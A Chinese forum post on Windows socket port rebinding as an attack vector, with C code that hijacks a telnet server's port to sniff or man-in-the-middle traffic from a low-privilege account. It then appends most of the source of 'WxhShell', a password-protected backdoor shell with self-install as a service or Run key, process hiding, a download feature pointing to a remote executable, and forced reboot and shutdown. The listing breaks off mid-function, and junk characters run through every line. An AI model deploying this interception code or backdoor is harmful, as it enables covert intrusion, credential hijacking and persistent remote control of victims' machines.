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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: U_*3>Q  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "%kG RHq  
73pC  
  saddr.sin_family = AF_INET; Dqr9Vv  
q u:To7  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); bm6hZA|  
FF@`+T  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); (txt8q  
O#PwRud$  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^;64!BaK  
acP ;(t  
  这意味着什么?意味着可以进行如下的攻击: uWrFunh%  
J=P;W2L  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 +3HPA#A  
pVz pN8!  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) K#;txzi  
'^B3pR:  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 .$^wy3:F"  
y&3TQ]f\  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  um}N%5GAa  
)(.%QSA\C  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 @e={Wy+Vm(  
H8<m9zDvl  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 [>wzl"cHW  
+/}_%Cf8  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 (L:`o jiU  
&]*|6cR$E  
  #include mf~Lzp  
  #include -7,vtd[h  
  #include Y 0]Kl^\A  
  #include    _&K\D p&@  
  DWORD WINAPI ClientThread(LPVOID lpParam);   tnNZ`]qY  
  int main() V-:`+&S{^  
  { Kf&r21h  
  WORD wVersionRequested; { $X X  
  DWORD ret; BM.-X7)  
  WSADATA wsaData; Kj=;>u  
  BOOL val; pNBa.4z:  
  SOCKADDR_IN saddr; .oEFX8  
  SOCKADDR_IN scaddr; QWKs[yfdo  
  int err; 0|GpZuGO9  
  SOCKET s; i@Vs4E[b  
  SOCKET sc; yX3PUO9  
  int caddsize; o;*]1  
  HANDLE mt; G1p43  
  DWORD tid;   nx D'r  
  wVersionRequested = MAKEWORD( 2, 2 ); _,t&C7Yf;  
  err = WSAStartup( wVersionRequested, &wsaData ); v^;-@ddr  
  if ( err != 0 ) { [Yn;G7cK  
  printf("error!WSAStartup failed!\n"); $e>/?Ss  
  return -1; Ko]QCLL  
  } '+tKvTU;  
  saddr.sin_family = AF_INET; "h QV9 [2\  
   yW[L,N7d  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 #`r(zI[  
`3]Rg0g&Xe  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 5Zzr5 WM  
  saddr.sin_port = htons(23); <&KLo>B^  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) aX:#'eDB  
  { i1tVdbC]  
  printf("error!socket failed!\n"); iJEB ?y  
  return -1; ,9F*96  
  } keqr%:E8  
  val = TRUE; 7&=-a|k~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 /*AJ+K._  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) VjC*(6<Gj  
  { +SO2M|ru&  
  printf("error!setsockopt failed!\n"); h=!M6yap<  
  return -1; <>SR4  
  } wwo(n$!\  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; @Q/x&BV  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 $+A%ODv  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 t1G1(F#&%  
Czq1 kz  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) B>{|'z?%>  
  { 1 ,#{X3  
  ret=GetLastError(); |= tJ|  
  printf("error!bind failed!\n"); \8=e |a5`  
  return -1; YCirOge  
  } }DJ|9D^yf  
  listen(s,2); J'I1,5(  
  while(1) Lhl$w'r  
  { tx2Vyu  
  caddsize = sizeof(scaddr); S`ax*`  
  //接受连接请求 i_[^s:*T  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); *?EO n-  
  if(sc!=INVALID_SOCKET) sI^@A=.@  
  { IXbdS9,>F  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); c-[Q,c  
  if(mt==NULL) M(_^'3u  
  { ,Wz[tYL*  
  printf("Thread Creat Failed!\n"); 2N L:\%wz  
  break; #H'sZv  
  } |WD,\=J2  
  } 7p P|  
  CloseHandle(mt); +io;K]C  
  } 2$o2.$i81  
  closesocket(s); L4\SB O  
  WSACleanup(); 3~cS}N T  
  return 0; t}5'(9  
  }   Bpk@{E9  
  DWORD WINAPI ClientThread(LPVOID lpParam) 7$g*N6)Q  
  { mXxZM;P[  
  SOCKET ss = (SOCKET)lpParam; Sf+(1_^`t  
  SOCKET sc; 3%It~o?  
  unsigned char buf[4096]; Paae-EmC  
  SOCKADDR_IN saddr; nu\  
  long num; 5W?yj>JR  
  DWORD val; s[0prm5.  
  DWORD ret; &,m'sQ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 aHBByH  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   x:f|3"\s  
  saddr.sin_family = AF_INET; +Z 9 3`  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ;']vY  
  saddr.sin_port = htons(23); _4~ng#M*  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) UPfFT^=y  
  { k7z(Gbzu   
  printf("error!socket failed!\n"); [JX}1%NA  
  return -1; N:UDbLjw~  
  } ?=/}Ft  
  val = 100; "ay,Lr  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) a z:~{ f*-  
  { ~)! V8  
  ret = GetLastError(); xWC\954  
  return -1; +Op%,,Db  
  } {f@xA  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) NPB,q& Th  
  { o*O "\/pmF  
  ret = GetLastError(); wu&|~@_s@  
  return -1; 1+16i=BF)  
  } D+*uKldS;  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) )rs|=M=Xk  
  { >6.[i@RmWU  
  printf("error!socket connect failed!\n"); Lyf? V(S  
  closesocket(sc); g9FVb7In_  
  closesocket(ss); Ovl?j&8  
  return -1; 2;Y@3d:z  
  } giPhW>  
  while(1) h+zkVRyA  
  { < tu[cA>  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ^|F Vc48{  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 0%A(dJA6  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 r2E>sHw  
  num = recv(ss,buf,4096,0); U&Sbm~Qi  
  if(num>0) t[f9Z  
  send(sc,buf,num,0); ZZ]OR;8  
  else if(num==0) 4t%:O4 3e  
  break; "a0u-}/D  
  num = recv(sc,buf,4096,0); T;4gcJPn"M  
  if(num>0) H/^TXqQ8  
  send(ss,buf,num,0); Zgy2Pot  
  else if(num==0) !"Oj$c -  
  break; |`)V^e_  
  } ard3yNQt  
  closesocket(ss); RB% fA%d  
  closesocket(sc); b68G&z>   
  return 0 ; Zs3]|bUR  
  } `:bvuc(  
#g-*n@ 1  
>F\rBc&  
========================================================== ;)= zvr17  
"zeJ4f  
下边附上一个代码,,WXhSHELL @KXz4PU  
Vhbj.eX.)  
========================================================== V'.eesN  
yqVaA 'w5  
#include "stdafx.h" +SuUI-.  
 +,F= -  
#include <stdio.h> iu6WGm R  
#include <string.h> f@;>M9)<  
#include <windows.h> TgQ|T57  
#include <winsock2.h> _OknP2E  
#include <winsvc.h> g]@R'2:1  
#include <urlmon.h> D $CY:@  
a`@<ZsR  
#pragma comment (lib, "Ws2_32.lib") [y=$2  
#pragma comment (lib, "urlmon.lib") "-j@GCme  
`~aLSpB65  
#define MAX_USER   100 // 最大客户端连接数 lc$@Jjg9  
#define BUF_SOCK   200 // sock buffer 9i2vWSga  
#define KEY_BUFF   255 // 输入 buffer '/yx_R K2?  
Dho^^<`c+  
#define REBOOT     0   // 重启 HDW\S#  
#define SHUTDOWN   1   // 关机 4G;`KqR@  
vu.S>2Wv  
#define DEF_PORT   5000 // 监听端口 MBYD,v&  
R SWB!-  
#define REG_LEN     16   // 注册表键长度 c;|&>Fp  
#define SVC_LEN     80   // NT服务名长度 4KSP81}/\  
l&^[cR  
// 从dll定义API WfjUJw5x"s  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #;*ai\6>vD  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^%*{:0'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %wjU^Urya  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); y1"^S  
ZV<y=F*~f  
// wxhshell配置信息 z5*O@_r+.b  
struct WSCFG { ubCJZ"!  
  int ws_port;         // 监听端口 \$HB~u%dr  
  char ws_passstr[REG_LEN]; // 口令 U5ud?z()OA  
  int ws_autoins;       // 安装标记, 1=yes 0=no @n;YF5  
  char ws_regname[REG_LEN]; // 注册表键名 ;k41+O:f@  
  char ws_svcname[REG_LEN]; // 服务名 f?<M3P  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 l-h7ksRs  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 n$![b_)*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $ p1EqVu  
int ws_downexe;       // 下载执行标记, 1=yes 0=no x]J-q5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" e/% ;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~z1KD)^   
cV!/  
}; &qI5*aQ8T  
h }%M  
// default Wxhshell configuration K~ /V  
struct WSCFG wscfg={DEF_PORT, B?YfOSF=5  
    "xuhuanlingzhe", Lp]C![\>U  
    1, #/v_ h6$  
    "Wxhshell", FivaCNA  
    "Wxhshell", 4a\+o]  
            "WxhShell Service", w*ktx{  
    "Wrsky Windows CmdShell Service", |b;M5w?  
    "Please Input Your Password: ", o-CJdOS  
  1, j83Y'VJJC  
  "http://www.wrsky.com/wxhshell.exe", QEHZ=Yg%3  
  "Wxhshell.exe" \w_[tPz}  
    }; z`:^e1vG  
7<Js'\Z  
// 消息定义模块 (X7yNIPfA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; lR K ?%~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~t3?er& R  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Cwa0!y5%  
char *msg_ws_ext="\n\rExit."; _,?HrL9  
char *msg_ws_end="\n\rQuit."; dZYJ(7%  
char *msg_ws_boot="\n\rReboot..."; 4sE=WPKF#  
char *msg_ws_poff="\n\rShutdown..."; cWy0N  
char *msg_ws_down="\n\rSave to "; W2(=m!:U  
44{:UhJkx  
char *msg_ws_err="\n\rErr!"; k#+^=F^)I  
char *msg_ws_ok="\n\rOK!"; 8A]q!To  
0H]9$D  
char ExeFile[MAX_PATH]; 5e8-?w% e  
int nUser = 0; `l0icfy  
HANDLE handles[MAX_USER]; kRa$jD^?  
int OsIsNt; I%*Z j,>  
'u%;6'y  
SERVICE_STATUS       serviceStatus; pG=zGx4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {cHTg04  
Yy~Dg  
// 函数声明 c+XR  
int Install(void); vKLG9ovlY  
int Uninstall(void); UiN ^x  
int DownloadFile(char *sURL, SOCKET wsh); u}0t`w:  
int Boot(int flag); 2p.+C35c=j  
void HideProc(void); (P] ^5D  
int GetOsVer(void); $4) g uG)  
int Wxhshell(SOCKET wsl); Z{)|w=  
void TalkWithClient(void *cs); E0Xu9IW/A  
int CmdShell(SOCKET sock); jo:p*Q "F  
int StartFromService(void); zMg^2{0L  
int StartWxhshell(LPSTR lpCmdLine); )p](*Z^  
OVK(:{PwS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y{{,62D  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ps,w(k{d  
$jL.TraV7  
// 数据结构和表定义 CA~S$H\"  
SERVICE_TABLE_ENTRY DispatchTable[] = 2a}_|#*  
{ Nq1RAM  
{wscfg.ws_svcname, NTServiceMain}, 3p#^#1/_  
{NULL, NULL} 2!`Z3>Oa  
}; |'(IWU  
~$ Yuxo  
// 自我安装 v3]M;Y\  
int Install(void) ]sIFK  
{ #jR?C9&!(  
  char svExeFile[MAX_PATH]; I*t}gvUt9  
  HKEY key; ,peFNpi  
  strcpy(svExeFile,ExeFile); Jx,s.Z0@7,  
DvKMb-*S  
// 如果是win9x系统,修改注册表设为自启动 s @9#hjv2  
if(!OsIsNt) { ";%1sK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g-`NsqzD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L>*|T[~  
  RegCloseKey(key); 3KZ h?~B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hTqJDP"&F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); riQ?'!a7  
  RegCloseKey(key); }\*|b@)]  
  return 0; cwM0Z6  
    } 06r cW `  
  } 7X"cu6%\  
} e hGC N=  
else { ^^mi@&ApLD  
Y"U&3e,  
// 如果是NT以上系统,安装为系统服务 &'j77tqOk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); P#]jPW  
if (schSCManager!=0) pwQ."2x  
{ ul1Vsj  
  SC_HANDLE schService = CreateService n%hnL$!z  
  ( CK%W +";  
  schSCManager, :2+:(^l  
  wscfg.ws_svcname, LNW p$"  
  wscfg.ws_svcdisp, g.qp _O  
  SERVICE_ALL_ACCESS, $1F9TfA  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ny0`~bl{p  
  SERVICE_AUTO_START, 1F-L( \oKm  
  SERVICE_ERROR_NORMAL, Ib C)F> Dq  
  svExeFile, $MR4jnTT  
  NULL, Ea 1>]V  
  NULL, UKdzJEhG  
  NULL, QS_xOQ '  
  NULL, mE1*F'0a  
  NULL hvwr!(|W  
  ); b(F`$N@7C  
  if (schService!=0) z%z$'m  
  { "@_f>3z  
  CloseServiceHandle(schService); G5Nub9_*X  
  CloseServiceHandle(schSCManager); iW)Ou?aS  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); G9TUU.T  
  strcat(svExeFile,wscfg.ws_svcname); 9hQ{r 2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ! `o =2b=N  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); w67Pw  
  RegCloseKey(key); NUseYU``  
  return 0; #N:o)I  
    } Cq=c'(cX  
  } o<;"+@v  
  CloseServiceHandle(schSCManager); += QboUN  
} ZzY6M"eUXD  
} E6uIp^E  
(<t)5?@%  
return 1; rx<fjA%  
} P]G2gDO  
!|]%^G  
// 自我卸载 ]`x~v4JU  
int Uninstall(void) QH eUpJ/^  
{ gw-l]@;1  
  HKEY key; ;iWCV& >w  
b@k3y9 &  
if(!OsIsNt) { *Co+UJjT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &e{&<ZVR  
  RegDeleteValue(key,wscfg.ws_regname); 6mZFsB  
  RegCloseKey(key); K(hf)1q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JL1Whf  
  RegDeleteValue(key,wscfg.ws_regname); 8V@3T/}  
  RegCloseKey(key); X#fI$9a  
  return 0; %~@}wHMB  
  } gs'( px  
} 4r %NtXAa  
} }\B6d\k  
else { u+N[Cgh  
?%?@?W>s@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -Rmz`yOq}  
if (schSCManager!=0) 9tJiIr8i  
{ 3OTSLF/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); tkA '_dcIC  
  if (schService!=0) <7qM;) g  
  { Ma$b(4dB  
  if(DeleteService(schService)!=0) { Q~`n%uYg\{  
  CloseServiceHandle(schService); :)&_  
  CloseServiceHandle(schSCManager); ,JR7N_"I  
  return 0; L(iWFy1& T  
  } 3a =KgOvp  
  CloseServiceHandle(schService); v vFX\j3  
  } ke/QFN-`  
  CloseServiceHandle(schSCManager); MD&Ebq5V  
} 3K{'~?mM  
} E[ ,Ur`>:  
n-uoY<;hp  
return 1; SJL?(S*  
} V7.EDE2A3  
SNcaIzbr  
// 从指定url下载文件 '/mwXvl  
int DownloadFile(char *sURL, SOCKET wsh) I~Ziq10  
{ &<4Jyhm:o  
  HRESULT hr; 60*=Bs%b  
char seps[]= "/"; M Su_*&j9T  
char *token; }oU0J  
char *file; J 5~bs*a8  
char myURL[MAX_PATH]; Y~,N,>nITu  
char myFILE[MAX_PATH]; Bc$t`PI  
2\_}81 hM  
strcpy(myURL,sURL); zbrDDkZ1  
  token=strtok(myURL,seps); Go8 m  
  while(token!=NULL) GC.   
  { \ 7jK6;R<  
    file=token; S'q (Qo  
  token=strtok(NULL,seps); I;9>$?t[  
  } (wkeo{lx  
+eQg+@u  
GetCurrentDirectory(MAX_PATH,myFILE); "??$yMW  
strcat(myFILE, "\\"); YjAwt;%-D  
strcat(myFILE, file); ;BsyN[bF  
  send(wsh,myFILE,strlen(myFILE),0); EHmw(%a|+  
send(wsh,"...",3,0); ; &$djP  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); J#"@~Q+a`@  
  if(hr==S_OK) M"W-|t)~  
return 0; !c/G'se  
else qq G24**9v  
return 1; @uApm~}  
"6o}g.  
} A@4sb W_  
P`0}( '"U  
// 系统电源模块 Xf(H_&K  
int Boot(int flag) N$i!25F`  
{ Dn1aaN6  
  HANDLE hToken; _NA[g:DZ&O  
  TOKEN_PRIVILEGES tkp; J4EQhuQ  
7M9Ey29f  
  if(OsIsNt) { jInI%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); teIUSB[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >|IUjv2L  
    tkp.PrivilegeCount = 1; (= #EJB1(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; hj[&.w  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); = wEU+R_#o  
if(flag==REBOOT) { k /srT<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) cgY + xd@  
  return 0; O1[`2kj^HB  
} ROb2g|YXG  
else { hhRUC&Y%V  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) v"-@'qN'  
  return 0; @M=xdZNyJ  
} "h58I)O  
  } f_'#wc6  
  else { oy{ {d  
if(flag==REBOOT) { Qx<86aKkF  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =zBc@VTp  
  return 0; ;l4 epN  
} GE?M. '!{{  
else { LlbRr.wL  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]fiAV|'^  
  return 0; /fh[_!qN  
} T3H\KRe6  
} }*Z *wC  
@?bO@  
return 1; ~!//|q^ J]  
} A*b>@>2  
{&3{_Ml  
// win9x进程隐藏模块 :^bjn3b  
void HideProc(void) L JW0UF|  
{ i?^lEqy[  
uz U2)n3y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); iC(&U YL  
  if ( hKernel != NULL ) %0&c0vT  
  { 1>)q 5D  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?xX9o  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); J)I|Xot  
    FreeLibrary(hKernel); VelR8tjP  
  } >n(Ga9E  
i`st'\I  
return; /u&{=nU  
} n=_jmR1  
Q95`GuI@  
// 获取操作系统版本 ^ s.necg0  
int GetOsVer(void) ;nx? 4f+6h  
{ I l2`c}9  
  OSVERSIONINFO winfo; QtSJ9;eP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ))9w)A@  
  GetVersionEx(&winfo); o W<Z8s;p  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) r P1FM1"M  
  return 1; mu$0x)  
  else |K(j XZ)  
  return 0; Z)qts=  
} CT2L }5L&  
(6g;FD:"6  
// 客户端句柄模块 hH.X_X?d%  
int Wxhshell(SOCKET wsl) 3q}fDM(@J  
{ $-*E   
  SOCKET wsh; Z23*`yR  
  struct sockaddr_in client; rfH'&k  
  DWORD myID; .ey=gI!x0  
h+d  \u  
  while(nUser<MAX_USER) qPH=2k ,H  
{ ]ucz8('  
  int nSize=sizeof(client); d(t$riFX}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;}W-9=81  
  if(wsh==INVALID_SOCKET) return 1; n`TXm g  
UB9n7L(@c  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); IUZ@n0/T  
if(handles[nUser]==0) I&Dp~aEM]  
  closesocket(wsh); =jEh#  
else oU[>.Igi  
  nUser++; |,)=-21&;  
  } ]IQ`.:g=9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k. @OFkX.  
"j*{7FBqk  
  return 0; 552yzn1  
} qGK -f4  
~jOn)jBRZ  
// 关闭 socket 9snc *<  
void CloseIt(SOCKET wsh) kKlcK_b;  
{ hH3~O` ~  
closesocket(wsh); 7FB aN7l  
nUser--; +BaZl<ZP1s  
ExitThread(0); 2Y-NxW^]  
} ~u^MRe|`  
QKVFH:"3  
// 客户端请求句柄 {1VMwANj  
void TalkWithClient(void *cs) [gE_\=FSKu  
{ XI/LVP,.  
^f?>;,<&  
  SOCKET wsh=(SOCKET)cs; yzH[~O7  
  char pwd[SVC_LEN]; 7}%Z>  
  char cmd[KEY_BUFF]; xC}9W6  
char chr[1];  ze_q+Z  
int i,j; |08'd5  
>u=Dc.lX  
  while (nUser < MAX_USER) { I|eYeJ3  
9Z!|oDP-  
if(wscfg.ws_passstr) { *rH# k?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [19QpK WM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HCIS4}lQ  
  //ZeroMemory(pwd,KEY_BUFF); #*|Gp_l+%  
      i=0; wUJ>?u9  
  while(i<SVC_LEN) { +B#+'  
\:Vm7Zg  
  // 设置超时 ,2MLYW,  
  fd_set FdRead; WH^^.^(i  
  struct timeval TimeOut; VlbS\Y.  
  FD_ZERO(&FdRead); *{fL t  
  FD_SET(wsh,&FdRead); i[7<l&K]  
  TimeOut.tv_sec=8; o >Faq+@  
  TimeOut.tv_usec=0; 8{)j"rghah  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); K Ml>~r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X Z4q{^o  
qC4Q+"'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s1kG:h2|$  
  pwd=chr[0]; H$4 4,8,m  
  if(chr[0]==0xd || chr[0]==0xa) { Q XLHQ_V  
  pwd=0; gT0N\oU"  
  break; '5; /V  
  } ;'i>^zX`  
  i++; RIV + _}R  
    } 8lZB3p]X  
Zog&:]P'F  
  // 如果是非法用户,关闭 socket :ND e<6?u  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3D^!U}E  
} e?yrx6  
,C;%AS/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); HY>zgf,0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u [Dz~  
,.,spoV  
while(1) { 8m"(T-wb6{  
7M,(!*b  
  ZeroMemory(cmd,KEY_BUFF); Y DWV=/  
S!6 ? b5  
      // 自动支持客户端 telnet标准   S17 c#6vT  
  j=0; u6MHdCJ0y  
  while(j<KEY_BUFF) { 155vY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P+<4w  
  cmd[j]=chr[0]; 6z2WN|78  
  if(chr[0]==0xa || chr[0]==0xd) { G:4'')T  
  cmd[j]=0; _2~+%{/m,  
  break; U-:"Wx%G  
  } F1GFn|OA  
  j++; <s wfYT!N  
    } 'aqlNBG*  
vp&N)t_  
  // 下载文件 7w5C NV  
  if(strstr(cmd,"http://")) { Lc! t  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8{DW$Z tR  
  if(DownloadFile(cmd,wsh)) v7b +  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); . ytxe!O  
  else _ZHDr[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x%`tWE|  
  } :3A^5}iz  
  else { 9r=yfc!cS  
E>isl"  
    switch(cmd[0]) { L#MgoBXr  
  F#KUu3;B  
  // 帮助 E++3GagdiD  
  case '?': { #&,~5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }ki6(_  
    break; MHQM'  
  } #ja6nt8GC  
  // 安装 ]6;G#  
  case 'i': { $J9/AFzO"  
    if(Install()) QP7N#mh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BT|n+Y[  
    else -Ic<.ix  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s8+{##"1 q  
    break; ~tZy-1  
    } D!rD-e  
  // 卸载 6QePrf  
  case 'r': { &UIS17cT  
    if(Uninstall()) $ E-c%-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @m+FAdA 0  
    else 8d[!"lL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TXbnK"XQ  
    break; 1EQLsg`d^  
    } 9t+:L(*pK  
  // 显示 wxhshell 所在路径 i?n#ge  
  case 'p': { Sh(XFUJ  
    char svExeFile[MAX_PATH]; I<!,_$:  
    strcpy(svExeFile,"\n\r"); suE#'0K  
      strcat(svExeFile,ExeFile); |vY|jaV}  
        send(wsh,svExeFile,strlen(svExeFile),0); 3\j3vcuy  
    break; hx hs>eY  
    } PBb'`PV  
  // 重启 Y@MFH>*  
  case 'b': { ;Swj`'7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cv9-ZOxJ  
    if(Boot(REBOOT)) wpa^]l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J~lKN <w  
    else { jBU!xCO  
    closesocket(wsh); (d#W3  
    ExitThread(0); nmoC(| r  
    } ESi-'R&  
    break; $!K,5^+  
    } NT<}-^  
  // 关机 O4T_p=Xc  
  case 'd': { YzYj/,?r  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Kgb<uXk  
